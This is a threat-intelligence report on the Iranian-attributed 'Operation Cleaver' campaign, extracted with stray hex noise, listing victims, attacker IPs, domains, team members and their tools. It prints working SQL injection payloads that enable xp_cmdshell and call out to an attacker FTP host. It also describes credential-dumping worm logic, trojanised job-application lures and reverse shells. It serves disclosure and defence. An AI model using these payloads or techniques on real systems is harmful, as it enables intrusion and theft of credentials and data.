Airports - Military/Government Israel - Defense Industrial Base - Aerospace - Education 13 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Cleaver s level of access into each organization varied greatly, including completely compromised systems and networks, Active Directory domain controllers and credentials, compromised data repositories and stolen VPN credentials. Compromised systems include Microsoft Windows web servers running IIS and ColdFusion, Apache with PHP, many variants of Microsoft Windows desktops and servers, and Linux servers. Compromised network infrastructure included Cisco VPNs as well as Cisco switches and routers. Unlike Stuxnet, no exotic exploitations (such as 0-days) were observed. Within our investigation, we had no direct evidence of a successful compromise of specific Industrial Control Systems (ICS) or Supervisory Control and Data Acquisition (SCADA) networks, but Cleaver did exfiltrate extremely sensitive data from many critical infrastructure companies allowing them to directly affect the systems they run. This data could enable them, or affiliated organizations, to target and potentially sabotage ICS and SCADA environments with ease. We discovered over 50 victims in our investigation, distributed around the globe. Ten of these victims are headquartered in the US and include a major airline, a medical university, an energy company specializing in natural gas production, an automobile manufacturer, a large defense contractor, and a major military installation. The four targets in Israel and the five targets in Pakistan are comprised of education, aerospace, airports, airlines, healthcare and technology. Further victims were identified in numerous Middle Eastern countries as well as ones in Northern Europe including the UK, France, and Germany. Central America was not immune either with a large oil and gas company on the list. In fact, oil and gas was a particular focal point for the Cleaver team, going after no less than nine of these companies around the world. Universities were targeted in the US, India, Israel, and South Korea. The attackers targeted research efforts, student information, student housing, and financial aid systems. They had a penchant for pictures, passports, and any specifc identifying information. Perhaps the most bone-chilling evidence we collected in this campaign was the targeting and compromise of transportation networks and systems such as airlines and airports in South Korea, Saudi Arabia and Pakistan. The level of access seemed ubiquitous: Active Directory domains were fully compromised, along with entire Cisco Edge switches, routers, and internal networking infrastructure. Fully compromised VPN credentials meant their entire remote access infrastructure and supply chain was under the control of the Cleaver team, allowing permanent persistence under compromised credentials. They achieved complete access to airport gates and their security control systems, potentially allowing them to spoof gate credentials. They gained access to PayPal and Go Daddy credentials allowing them to make fraudulent purchases and allowed unfettered access to the victim s domains. We were witnessed a shocking amount of access into the deepest parts of these companies and the airports in which they operate. #OPCLEAVER COUNTRIES TARGETED 4 6 1 2 3 B A A 5 B 22 B A A 7 B A 21 B 23 B B 13 B 6f20476 f64 44 20 c c2 04576696 24 17 15 30 8 9 12 16 8 10 11 29 25 33 35 14 20 19 18 34 26 28 32 31 27 A B 31 2 27 6b 6e TARGET LOCATIONS 9 86 1. Canada - Calgary 13. Mexico - Mexico City 25. UAE - Abu Dhabi 2. Canada - Hamilton 546 14. Pakistan - Karachi (2) 26. UAE - Al Garhoud 3. China - Beijing 15. Pakistan - Lahore 27. USA - California - Los Angeles (2) 4. England - Oxford 16. Pakistan - Multan 28. USA - California - San Diego 5. France - Paris 17. Pakistan - Peshawar 29. USA - California - San Jose 6. Germany - Dusseldorf 18. Qatar - Doha (4) 30. USA - Michigan - Dearborn 7. Germany - Frankfurt 19. Saudi Arabia - Dhahran 31. USA - Texas - Houston (2) 8. India - New Delhi (2) 20. Saudi Arabia - Jeddah 32. USA - Texas - Fort Worth 9. Israel - Haifa (3) 21. South Korea - Incheon 33. USA - Texas - Southlake 10. Israel - Rehovot 22. South Korea - Goyang-si 34. USA - Virginia - Fairfax 11. Kuwait - Ahmadi 23. South Korea - Seoul (7) 35. USA - Virginia - McLean 12. Kuwait - Kuwait City 24. Turkey - Antalya Figure 2: Geographic distribution of victims, as determined by the global headquarters of the parent company or organization breached. 15 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 INDUSTRIES TARGETED HIGH LEVEL OF ACCESS MEDIUM LOW GY S E N AS G L N N LS T AC LS O S ES IA IN LO O S O EN G RT I A IE TR AT UR A I I SP AT AT IN O IC & M IT IT O UC US RL N T RO EM RT RN IC IL SP IL RP CH AC UT UN O AI D ED O VE AE CH O AI IN UF TE SP H M & O SE M AN AN G GY CO EN M ER TR LE EF EN TE D LEVEL OF CRITICAL IMPACT Figure 3: Number of Cleaver victims by the level of access obtained as well as the level of critical impact potential. ATTRIBUTION 6f20476f6f64 44 20 c c2 b204576696 6e6 86 546 #OPCLEAVER 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 ATTRIBUTION Despite today s trend toward attacker attribution, we believe it offers little real benefit to the day-to-day cyber defender. However, in this report we offer our observations on the sources of Operation Cleaver in order to benefit those that rely on attribution such as Law Enforcement. Operation Cleaver is believed to consist of at least 20 hackers and developers, collaborating on projects and missions to support Iranian interests. Many of the targets were predominately English-speaking and a majority of the team members were capable of reading and writing in English. We present evidence that this team is operating, at least in part, out of Iran and in the interests of Iran. The skills and behavior of the Operation Cleaver teams are consistent with, and in one case surpasses, Iran s cyber capabilities as we know them today. For a complete list of IPs and domains related to this campaign, please refer to the Indicators of Compromise Figure 4: The logo of the Army of the Guardians of the Islamic Revolution, section. also known as the Islamic Revolutionary Guard Corps (IRGC). ATTACKER IP ADDRESSES Over the course of multiple incident response engagements related to Operation Cleaver, we were able to identify a small set of IP addresses which were commonly used during the initial stages of an attack. The IP address 78.109.194.114 served as a source for one of the primary attackers. They were observed conducting SQL injections, controlling backdoors, as well as exfiltrating information using this address, and the address appears in multiple software configurations recovered from staging servers over a period of time. GeoIP Location: Iran Net block: 78.109.194.96 - 78.109.194.127 Owner: Tarh Andishan Email: tarh.andishan(at)yahoo.com Phone: +98-21-22496658 NIC-Handle: TAR1973-RIPE #OPCLEAVER This IP address was also observed in multiple software configurations. This particular net block was used over an extended period of time, indicating these were under the Cleaver team physical control. Additionally, prior netblocks used by the same team demonstrated to us that this wasn t simply a case of proxying or island hopping . For more information see the Tarh Andishan section of this report. The IP address 159.253.144.209 was a source for a secondary attacker in various compromises. They were observed conducting SQL injection attacks. While this IP was this registered in the Netherlands, we believe they used Softlayer s Citrix demo environment to launch these attacks which is consistent with proxying or island hopping GeoIP Location: Netherlands Net block: 159.253.144.208 - 159.253.144.223 ASN: Softlayer Technologies, Inc. 20476 f64 IP Location: Netherlands, Amsterdam with Iranian sourcing. 46f 04 ATTACKER 2DOMAINS c c2 A number of Cleaver s attack methods require a persistent server. In many cases, these servers were referenced by domain names. The following malicious domains are operated by this 04576696 organization and are grouped by the registrant s email address. davejsmith200(at)outlook.com azlinux73(at)gmail.com Teledyne-Jobs.com MicrosoftServerUpdate.com DownloadsServers.com WindowsSecurityUpdate.com NorthropGrumman.net WindowsServerUpdate.com 2 MicrosoftMiddleAst.com b domain(at)netafraz.com 6 salman.ghazikhani(at)outlook.com EasyResumeCreatorPro.com e Doosan-Job.com MicrosoftWindowsResources.com 96 6 btr.8624(at)yahoo.com 8 msnhst(at)microsoft.com 546 GoogleProductUpdate.net MicrosoftWindowsUpdate.net WindowsCentralUpdate.com WindowsUpdateServer.com DriverCenterUpdate.com As is typical with malicious domains, the Whois data for most of these domains contained falsified information. We managed to obtain a large collection of the internally developed tools used by the Cleaver team, many of which were developed by its members. Due to operational security failures, these tools contain information that provided us insight into their organization and operations. 19 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 TOOLS & SOFTWARE Shell Creator 2 In the tool named Shell Creator 2, there are three main components. The creator generates an ASPX web shell using user input as well as a collection of templates. The web shell could then be installed via xp_cmdshell, or any other method which would grant the attacker write access. The web shell is accessible by the shell client directly. The shell client is a portion of Shell Creator 2 that was not designed to be run on a compromised computer. We originally located it on a staging server being utilized for multiple attacks as well as a tool for sharing data between members of the organization s team. The shell client, which is developed in Java and is easily decompiled, is a simple interface with a feature to protect the operator from making a critical mistake. When executed, and before any connection to an instance of the web shell is initiated, the shell client communicates with freegeoip.net in order to get the external IP address of the current user. The country of origin is then shown to the user, to inform them of what country it appears they are connecting from. The assumed purpose of this feature is to ensure that a proper proxy is in use, and the real origin of the attacker is not revealed. After decompiling the shell client, we found the following code segment controlling the display of this IP location information. Figure 5: Java source code showing how Shell Creator 2 distinguishes between a source IP address coming from Iran (red) versus any other country (green). This code handles the XML response from freegeoip.net, and displays the information as different colors based on different attributes. For instance, if the string ERROR is in the response, the text is displayed with the color magenta. If the string IRAN is in the response, the text is displayed with the color red. It should be noted that no other country name contains the substring IRAN. #OPCLEAVER Shell Creator 2 (cont.) Figure 6: Shell Creator 2 alerts the user in red when the IP being used can be sourced to Iran. 6 f 20476 f64 Figure 7: Shell Creator4 4 2 notifies the user in green when their source IP address is not Iran. 20 c c2 Net Crawler 04576696 Net Crawler is a tool developed in C# that exhibits worm-like behavior in order to gather cached credentials from any and all accessible computers on an infected network. This is done with Windows Credential Editor (WCE) and Mimikatz in combination with PsExec. Different versions of this malware contain ASCII art which names the authoring group as Zhoupin (in leetspeak Zh0up!n 6b2 6e 9 86 546 Figure 8: Net Crawler version 1.0 has ASCII art showing Figure 9: Updated ASCII art found in Net the use of Zh0up!n in the campaigns tools. Crawler tool shows a version of Zh0up!n shortened to simply For more information on Net Crawler, see the Tactics, Techniques and Procedures section. 21 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 TinyZBot TinyZBot is a bot written in C# and developed by the Cleaver team. It is the longest developed malware family discovered by this group, and has been used in campaigns for close to two years. How it operates can vary greatly from version to version. For a detailed technical analysis of TinyZBot, see the Tactics, Techniques and Procedures section. As TinyZBot is developed in C#, many versions can be decompiled to code very similar to their originals, including names of namespaces. Many versions were obfuscated with a legitimate tool for developers named SmartAssembly, which makes the recovery of some names implausible. We obtained multiple versions from which we were able to recover many of the original names of variables and namespaces. In a number of these samples, the primary namespace for TinyZBot is named Zhoupin_Cleaver. In every version of TinyZBot that is not obfuscated, there is a code base referred to as Cleaver. This code base is also shared in other malware developed by this organization, such as Csext. PrivEsc PrivEsc is a blatant plagiarism of an existing exploit for Microsoft Windows released in January 2010 called MS10-015, Vulnerabilities in Windows Kernel Could Allow Escalation of Privilege popularly known as the KiTrap0D exploit which was released publicly. The Cleaver team clearly modified the source code and compiled a new version. The only detectable modification was to change the original author s name to instead display the following: Zhopin Exploit Team This is not the only case of this team relabeling others work as their own. Logger Module Logger module is a component of the PVZ (PVZ is shorthand for Parviz, one of the members of the Cleaver team) bot tool chain. When executed, it will capture the user s keystrokes and save them to a location which PVZ bot then exfiltrates. The logger module binary s file description value is the following: ye file khube DG. ba in ham kari nadashte bashin Roughly translated from Persian, this text says: DG is a good file, don t bother with this #OPCLEAVER Logger Module (cont.) This text could potentially be a note intended to stay internal, or could be an attempt to persuade an unsuspecting victim to assume the file is not malicious. The Product Name value is GOOD FILE. For more information on the PVZ bot tool chain, see the Tactics, Techniques, and Procedures section. CCProxy CCProxy is a publicly available proxy server for Windows, which can handle a variety of protocols. We do not believe that this organization was involved in the development or modification of CCProxy, but they have been observed using it. We recovered a CCProxy configuration, which exposed various operational details. 6f 2 0476 f64 4 as well as a The configuration allowed for remote 4 20 was User-001, connections, limited by a username limited IP range. The username c which is the default value. The limited IP range c2 covered one IP: 78.109.194.114. 04576696 This IP address is located in Iran, and is owned by Tarh Andishan. The configuration also indicates which address the CCProxy server should listen on for incoming connections such as web (80) and mail (25). 6b2 6e 9 86 546 Figure 10 (above): CCProxy configuration file using the hardcoded IP address registered to Tarh Andishan. Figure 11 (left): CCProxy configuration file showing the use of web and mail as listening ports. 23 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 NMAP Log Log output from the network port scanning application NMAP was recovered from a staging server. This log was generated during the usage of the nbrute utility, which brute-forces network credentials and relies on NMAP to do so. The header of this NMAP log indicates that the computer used to run nbrute/nmap was set to Iran Daylight Time at the time of execution. Starting Nmap 6.25 at 2012-08-17 09:18 Iran Daylight Time With no known victims located in Iran, it is likely that this was executed on an attacker s computer, and not on a victim s computer. Squid Configuration A configuration file for a Squid proxy server was recovered. Figure 12: Squid configuration file showing the use of Tarh Andishan s IP address. The net range of 78.109.194.114/28 was inserted into the allowed local networks with an RFC comment appended in order to make it look like it was part of the default configuration. It is likely this is the same reason a /28 net range was used, in order to not look like it was intended to only allow one IP. This would give the same access to resources accessible from the Squid proxy server to this Iranian IP address. TARH ANDISHAN Tarh Andishan is listed as the registrant for a number of small net blocks based upon the email address tarh.andishan(at)yahoo.com. The net blocks appear to rotate over time and registrant information is altered to accommodate ongoing operations and avoid potential public exposure. #OPCLEAVER TARH ANDISHAN (cont.) The networks are included below as well as the last time that net block was observed as active. 78.109.194.96/27 - Current 217.11.17.96/28 - 10/22/2014 81.90.144.104/29 - 10/5/2014 31.47.35.0/24 11/2012 There are many seemingly legitimate Tarh Andishan related companies inside Tehran, but strong connections to Iranian backing have been difficult to prove definitively. Tarh Andishan is often translated as Thinkers Innovators and Inventors 6 f 20476 f64 The net blocks above have strong associations with state-owned oil and gas companies. These 4 companies have current and former employees who are ICS experts. 4 Tarh Andishan has been 2 0 suspected in the past of launching attacks in the interest of Iran. The c operators of the blog IranRedLine.org, which comments on Iran s nuclear weapons efforts, has c2 mentioned in multiple posts having been the target of debilitating brute-force authentication attacks 04576696 from IP addresses registered to the same Tarh Andishan team found in Cleaver. In one of IranRedLine.org s blog posts8, the author speculates on Tarh Andishan s involvement with the Iranian government by showing close proximity to SPND, the Organization of Defensive Innovation and Research; however, the phone number listed under the registrant contact information has yet to be completely validated. 6b2 6e 9 86 546 Figure 13: This image from IranRedLine.org demonstrates Tarh Andishan s probably fabricated Whois address to the proximity to Iran s SPND (Organization of Defensive Innovation and Research). 25 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 MEMBERS During this investigation, we were able to compile a considerable amount of information on some of the members of this organization. The following profiles were built from reverse engineering, code analysis, open source intelligence, incident response and forensics work. Personally identifiable information about these members is not being shared publicly as it could endanger their lives and would be irresponsible. Parviz Parviz is a developer who worked on a variety of projects, and was primarily active in 2013. His development skillset is based around his ability to develop in C/C++. He has been observed using Visual Studio 2010, and his tools are written exclusively for Windows. Some of his tools were found to be packed with ASPack. Parviz is the primary developer of the PVZ bot and multiple parts of its tool chain. Parviz is likely associated with the PVZ bot as his name in hardcoded into the PDB file paths. The PVZ tool chain includes a variety of functionality, such as HTTP command and control communications with an ASPX server-side component, a denial of service tool they developed, and the public project named XYNTService used to run ordinary applications as services. PDBs C:\Users\parviz\documents\visual studio 2010\Projects\BotManager\ Release\BotManager.pdb C:\Users\parviz\Documents\Visual Studio 2010\Projects\socket-test\ Release\socket-test.pdb C:\Users\parviz\Documents\Visual Studio 2010\Projects\ XYNTServiceProject\XYNTServiceProject\Debug\XYNTService.pdb C:\Users\Parviz\documents\visual studio 2010\Projects\SendModule\ Release\SendModule.pdb #OPCLEAVER Nesha Nesha is one of the offensive members of this organization. Nesha was seen in breaches involving SQL injection as well as other techniques. Nesha often utilized web-based backdoors developed in ASPX, PHP as well as ColdFusion. A copy of an MS08-067 exploit developed in Python was recovered in which Nesha shamelessly replaced the original author s name with his own. Nesha s passwords very commonly include own handle. His passwords were frequently stored as hashes in backdoors, but common hash cracking methods were able to recover the plaintext versions. His observed password use is as follows: nesha nesha used as password in ColdFusion backdoors NeshaNesha12 used as password in ASPX backdoors. 20476 f64 nesha123 was found as a password in a recovered credential file with unknown association 4 6 f 0 4 Cylance observed Nesha participating in compromises involving the following techniques: SQL injection 2 c c2 Web backdoors Cached credential dumping 04576696 Nesha has additionally been identified using a variety of internally developed tools as well as the following publicly available tools: Cain & Abel PsExec 2 PLink b NetCat e6 Alireza 96 86 Alireza appears to be one of the senior developers of this organization. His tools are commonly 546 developed in C++, Java, and C# (desktop and ASPX). These tools are often support tools, either monitoring the activity of other tools or supplementing the function of other tools gathering information during the infiltration process. Alireza s code appears to be reused internally on projects such as TinyZBot. Alireza appears to be using a version control system for his code, and it is likely that others are using the same system. Based on the paths, the version control system in use is likely Apache s Subversion. Use of a version control system is indicative of code sharing, but the use of an older system like Subversion, along with other evidence, suggests there is not a large amount of collaboration on projects and likely one developer working on each project at a time. This is not behavior typical of a professional development team. 27 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Alireza (cont.) Alireza s C# tools include the following techniques: Querying Windows Management Instrumentation Command-line (WMIC) Cached credential dumping Generating ASPX shells Encryption Process enumeration Alireza s Java tools include the following techniques: HTTP communications GUI development Alireza s C++ tools include the following techniques: WinPcap interface ARP poisoning HTTP communications SMB communications PDBs C:\Users\alireza\Documents\Visual Studio 2010\CPPProjects\IDCSercive\ trunk\Release\kagent.pdb C:\Users\alireza\Documents\Visual Studio 2010\CPPProjects\ PcapServiceInstaller\Release\PcapServiceInstaller.pdb C:\Users\alireza\Documents\Visual Studio 2010\Projects\ AntiVirusDetectorConsole\AntiVirusDetectorConsole\obj\x86\Release\ AntiVirusDetectorConsole.pdb C:\Users\alireza\Documents\Visual Studio 2010\Projects\ mimikatzWrapper\mimikatzWrapper\obj\x86\Debug\mimikatzWrapper.pdb C:\Users\alireza\Documents\Visual Studio 2010\Projects\ShellCreator2\ ShellCreator2\obj\x86\Debug\ShellCreator2.pdb c:\Users\alireza\Documents\Visual Studio 2012\Projects\BackDoorLogger\ BackDoorLogger\obj\Debug\BackDoorLogger.pdb #OPCLEAVER kaJ kaJ is a .NET developer, and has only been observed working in C#. He has less English language proficiency than others in the organization, and likely has a supplemental role during compromises. He has been observed developing tools which cater to specific challenges in a compromise. His notable project was named Net Crawler, and a technical analysis of this tool can be found in the Tactics, Techniques and Procedures section. Thanks to a recovered test configuration for Net Crawler, we were able to determine that kaJ s development computer has the name dev-castle, where he has the username kaJ and the password oaolrJ@vad. kaJ is believed to be the creator of the Zhoupin ASCII art displayed in Net Crawler. kaJ s projects include the following techniques. 20476 f64 Interfacing with multiple cached credential dumping tools Interfacing with PsExec 46f Worming behavior 4 20 Jimbp c c2 04576696 Jimbp is a .NET developer with minimal experience. His projects appear to be supplemental to TinyZBot and are very simplistic. It is believed he is the developer of the project Binder_1. This project was a simple malware binder which required manual configuration when compiling. His other work included creating a new service wrapper for TinyZBot. PDBs 2 c:\Users\Jimbp\Desktop\Binder_1\Binder_1\obj\x86\Release\Setup.pdb b c:\Users\Jimbp\Desktop\Binder_1 - for cleaver\Binder_1\obj\x86\ e6 Release\Setup.pdb 6 c:\Users\Jimbp\Documents\Visual Studio 2013\Projects\ 9 TestForInstallingService\TestForInstallingService\obj\Release\ 86 TestForInstallingService.pdb 546 29 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 TEAMS Of course many associated Iranian hacker teams have been identified in public and private security circles. Some of the teams publicly known today include Iranian Cyber Army, Ashiyane, Islamic Cyber Resistance Group, Izz ad-Din al-Qassam Cyber Fighters, Parastoo, Shabgard, Iran Black Hats and many others9. However, even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army (botnets), Ashiyane (SQL injection) and Syrian Electronic Army (phishing and RATs), we believe this is largely the work of a new team. Some connections to Ashiyane were discovered in our investigations including a reference to hussein1363, who had prior ties to the hacker group. Additional connections between team members and individuals exist but are predominantly speculative and have only been shared with law enforcement. Ultimately we believe the Cleaver team is a mix of existing team members and new recruits pulled from the universities in Iran. #OPCLEAVER TACTICS, TECHNIQUES & PROCEDURES TTP COVER HERE 6f20476f6f64 044 2 c c2 c2b204576696 6f20476 f64 44 20 6c 6e 04576696 9 686 54 6b2 e 96 86 546 #OPCLEAVER 31 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 TACTICS, TECHNIQUES & PROCEDURES The Cleaver campaign used a variety of methods in multiple stages of attacks. In this section we cover the commonly observed methods during different stages of the attack. INITIAL COMPROMISE The initial compromise gets the attackers their first foothold into the target network. Once the ability to execute arbitrary code has been established, an attacker s job becomes quite a bit easier. Since the vector of initial compromise is usually determined by what is vulnerable on the target, we ll cover just a few of the techniques we ve seen Operation Cleaver use to initiate the compromise. SQL Injection SQL injection is a very common and simple attack method. It is made possible by a lack of input sanitization by the vulnerable application before supplying that input into a SQL database query. SQL injection payloads used by this organization have been double encoded. Double encoding SQL injection payloads allows for bypassing of various anti-exploitation filters, such as those supplied by Web Application Firewalls (WAFs). The attackers would enable xp_cmdshell: http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@ b1=%20show advanced options;declare%20@b2%20varchar(8000);set%20@b2=%20xp_ cmdshell;%20EXEC%20master.dbo.sp_configure%20@b1,%201;RECONFIGURE;EXEC%20master.dbo. sp_configure%20@b2,%201;RECONFIGURE;--%20 Then connect outbound via anonymous FTP: http://localhost/Demos/demo.cfm?Edit%26ID=111;declare%20@b1%20varchar(8000);set%20@ b1=%20ftp -A 108.175.152.230;%20exec%20master..xp_cmdshell%20@b1--%20 Spear-Phishing Campaign Using messaging methods such as email, attackers can social engineer users into downloading and executing software, which quietly installs malware alongside of the desired program. Operation Cleaver has employed this technique numerous times across different organizations. #OPCLEAVER EasyResumeCreatorPro.com The domain EasyResumeCreatorPro.com was registered and a website setup which was a direct copy of a legitimate website at winresume.com. This is how the original site looked: 6 f20476 f64 4 4 20 Figure 14: The original Easy R Creator Pro website on winresume.com is legitimate. c c2 b204576696 e6 96 86 Figure 15: The fraudulent website, easyresumecreatorpro.com, is a fraudulent copy of the Easy 546 Resume Creator Pro website to lure job candidates to download and install their TinyZBot agent. That s not all they copied. In order to infect users, they combined the original Easy Resume Creator Pro product with malware by using a binder they developed internally named Binder_1. A binder is an application, which combines two executables (desired software and malware) into a single executable. The resulting executable masquerades as the desired software. The purpose is deception, to make the binder indistinguishable from the desired application. When executed, both applications are written to a temporary directory and executed. This way it appears that the desired application was executed, but the malware was also executed silently. 33 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Teledyne R Submitter This attack evolved to appear more legitimate. The attackers made the victims feel like they had a pending job opportunity at the industrial conglomerate Teledyne. In order to take advantage of this job opportunity, the victim needed to use the fake r submission application supplied by the malicious recruiter. Multiple domains were registered in order to make the download sites seem more realistic. These domains included other companies as they tried to hit a wider audience. Figure 16: When the r submitting application is executed, a splash screen is displayed. Teledyne-Jobs.com Doosan-Job.com NorthropGrumman.net At this point, the r submission application checks the Internet connection. If it is unable to connect to the Internet, it will display a window to input proxy information. When this information is entered, the results are cached in a location the dropped malware can access. After an Internet connection is ensured, the malware (TinyZbot) is dropped and executed. This clever scheme makes sure the malware can connect to the command and control server, Figure 17: Unable to connect to the Internet, the and increases the chances that domain credentials are tool prompts the user for proxy configuration information. cached on the now infected machine. Shortly after, the main application is launched. Figure 18: Final r submission form displays to the user while the malware runs freely in the background. #OPCLEAVER Teledyne R Submitter (cont.) The first r submission form requests contact information. This form, like the rest of the submission forms, only stores the submitted information while the application is running. As the infected user is going through and filling out all this information, the malware is running in the background, logging their keystrokes, retrieving their stored passwords, etc. Once all the forms are filled out, the user goes to the submission form. 6f20476 f64 44 20 c c2 b204576696 6 Figure 19: GET request to www.microsoft.com fakes the r submission. 6e 9 86 546 When the victim hits submit, the r submitter does a GET request to microsoft.com in order to make it seem like it is submitting something, then claims success. This method is particularly effective not only because of its level of deception, but even if the victim suspects that they are infected with malware, they are not as likely to speak up about it, as they would need to explain why they were submitting a job application for another company. 35 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 PRIVILEGE ESCALATION & PIVOTING Privilege escalation is a category of techniques that describe the process of going from a less privileged user on a compromised computer to a more privileged user. This increase in privileges allows for the attacker to gain access to privleged areas of the operating system as well as to infect other computers on the target network. This team did not utilize any novel methods of privilege escalation, but they were observed using a variety of publicly known exploits. PrivEsc is a compiled exploit, which leverages the vulnerability commonly referred to as KiTrap0D (CVE-2010-0232). The exploit allows for escalation of privileges on unpatched Windows operating systems from an unprivileged user to kernel-level privilege. This vulnerability and the corresponding exploit were discovered and developed in 2010. The plagiarized version used in Operation Cleaver was compiled in May 2013, with a slight modification to the public source code. This modification changed the author s details to Zhopin Exploit Team. Pivoting is the process of leveraging access from one compromised computer in order to gain access to additional systems on the target network. This can involve launching attacks from the compromised computer, or simply abusing access once it has been gained. Cached Credential Dumping A very common method of pivoting on a predominantly Windows operating system based network is to extract domain credentials which have been used on the compromised computer from a credential cache. There are a few well-known tools which are capable of doing this given sufficient privileges on the infected host. Two of these tools used by Cleaver are Mimikatz and Windows Credential Editor. zhMimikatz and MimikatzWrapper Two similar applications were developed by Operation Cleaver in order automate the execution of Mimikatz. These applications are zhMimikatz and MimikatzWrapper. These applications store multiple versions of Mimikatz in their resources. When executed, they determine which version of Mimikatz to use based on whether the computer s version of Windows is 32-bit or 64-bit. This technique is uncommon in malware and shows the advanced skillset of the Cleaver team. Both tools were developed in C#. #OPCLEAVER zhMimikatz and MimikatzWrapper (cont.) In the following examples, the computer name is TheComputerName, the username of the logged in user is TheUser, and that user s password is ThePassword. At the time of execution, the system only has its own credentials available and no cached network credentials. zhMimikatz zhMimikatz executes the correct version of Mimikatz for the current system, and parses the results for any cached credentials. 6f20476 f64 44 20 c c2 b204576696 e6 96 86 546 Figure 20: zhMimikatz 37 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 MimikatzWrapper Output from MimikatzWrapper is essentially the same as zhMimikatz, despite being a different Visual Studio project. Figure 21: The MimikatzWrapper. The only external difference is that MimikatzWrapper also logs these results to res.txt in the executing directory. This can make it useful for tools like the PVZ tool chain and Csext to execute with logged results: Figure 22: The MimikatzWrapper dumps credentials out to a file. #OPCLEAVER PsExec Spreading Once an attacker has credentials extracted from the cache, whether in hash form or in plaintext form, PsExec can be used to run commands on any other computer which accepts those domain credentials. If this technique is combined with cached credential dumping, it can be used to jump from computer to computer on a compromised network. NetC (Net Crawler) Net Crawler utilizes a cached credential dumping technique along with PsExec in order to worm throughout a network, collecting any and all credentials that it can extract from credential caches. It has the ability to do this with both Windows Credential Editor and Mimikatz. It starts by first extracting cached credentials from the infected computer s cache. Once this is complete, it f20476 f64 then continues to scan a set of configured IP addresses on the local subnet to determine which 6 4 IP addresses have SMB related ports open. Then an iterative methodology is applied to brute 4 20 forcing each SMB enabled target with each credential that was extracted from the cache. c When a positive result has been achieved, it will create a copy of itself with a modified c2 configuration stored as a PE resource, then send and execute the copy utilizing PsExec. This 04576696 copy repeats the behavior of the original, but with already discovered credentials as well as newly discovered ones on the newly infected host. Any credentials found are reported back to the original infection. 6b2 6e 9 86 546 39 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 NetC (Net Crawler) cont. The following is a sample of some of the recovered results of Net Crawler executing on a live network: Figure 23: The real output of a successfully run NetC effort at a victim organization. A more in depth analysis of Net Crawler, as part of the A Study in Bots series, will be available on Cylance s blog. #OPCLEAVER MS08-067 Exploit MS08-067 is a vulnerability in Microsoft Windows made popular by the Conficker worm which can be exploited by a specially crafted packet to the operating system s RPC network interface. This vulnerability has been patched since October 2008, but many networks have failed to update their systems even to this day. Operation Cleaver used a plagiarized version of a publicly available exploit for this vulnerability developed in Python. Someone in the Cleaver team (presumed to be Nesha) modified the exploit to read By Nesha Jasus f20476 f64 Jasus is an ARP cache poisoner developed by the Operation Cleaver team. It makes use of 6 4 WinPcap and is developed in C. Compared to some other publicly available ARP cache poisoning 4 20 utilities, Jasus is poorly developed and without many useful features. The primary positive attribute of Jasus is its poor detection ratio by the antivirus industry. c c2 Cain & Abel 04576696 Cain & Abel is a publicly available toolkit, which covers a wide range of functionality that assists attackers once they have compromised a node on a network. It has the ability to dump stored and cached credentials, and conduct attacks like ARP cache poisoning in order to capture credentials being transmitted on the network. It also has a remotely installable trojan named Abel, which enables some of its functionality on a remote target. b2 We observed the Operation Cleaver team using Cain & Abel for extracting credentials from caches 6 and the network when they are confident that there is little to no antivirus protection on the infected e target. 96 6 EXFILTRATION 8 546 Exfiltration is the process of moving information to an external site. In this context, it is the process of stealing information without being detected. Operation Cleaver has a strong focus on stealing confidential/privileged information, and they have utilized a few methods in order to facilitate this objective. 41 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Anonymous FTP Servers Cleaver Operations observed in 2013 mainly utilized FTP servers with anonymous access enabled in order to pilfer large quantities of information. This allowed them to use existing command line utilities available on their targets in order to upload information. This is a versatile technique as it does not require any additional software which could be detected. These FTP servers were also observed during the infection process, as infected computers were often instructed to download additional files from these FTP servers, including backdoors and pivoting tools. The following IP addresses hosted FTP servers that were used in the infection of targets or in the exfiltration of information. 108.175.152.230 Santa Rosa, CA, USA 108.175.153.158 Santa Rosa, CA, USA 184.82.181.48 Pilot Mountain, North Carolina, USA 203.150.224.249 - Thailand 64.120.208.74 - Pilot Mountain, North Carolina, USA 64.120.208.75 - Pilot Mountain, North Carolina, USA 64.120.208.76 - Pilot Mountain, North Carolina, USA 64.120.208.78 - Pilot Mountain, North Carolina, USA 66.96.252.198 - Pilot Mountain, North Carolina, USA NetCat NetCat is a network tool which has many valid purposes but can also be used for malicious purposes. Its main functionality allows for a client and server communication channel, allowing for information to be transported over the network simply. NetCat has an option when being compiled to enable or disable the ability for NetCat to execute a command after the connection is established. This feature can be abused to enable a reverse connecting shell, which can be used to remotely control a target. NetCat s network communications are in plaintext, and could be viewed by an egress filter looking to block the exfiltration of sensitive information. The Operation Cleaver team was observed attempting to use NetCat to exfiltrate information as well as use it as a reverse connecting shell. The use of NetCat was later replaced with zhCat. #OPCLEAVER zhCat zhCat is a tool developed by the Operation Cleaver team which operates similarly to NetCat. Its main purpose is to create a channel that is capable of transporting information over the network. The changes made in zhCat allow for this information to be transferred with inline obfuscation and/ or encryption. This makes it more difficult to detect that privileged information is being exfiltrated. The command line help (of a particular version) shows the following options: 6f20476 f64 44 20 c c2 04576696 Multiple obfuscation/encryption methods are available. The h argument enables HTTP mode. This makes the traffic between zhCat instances look like benign HTTP traffic. For instance, if the attackers set up a zhCat instance listening on port 1000 on 192.168.116.128 in HTTP mode, the client instance of zhCat would use the following command: b2 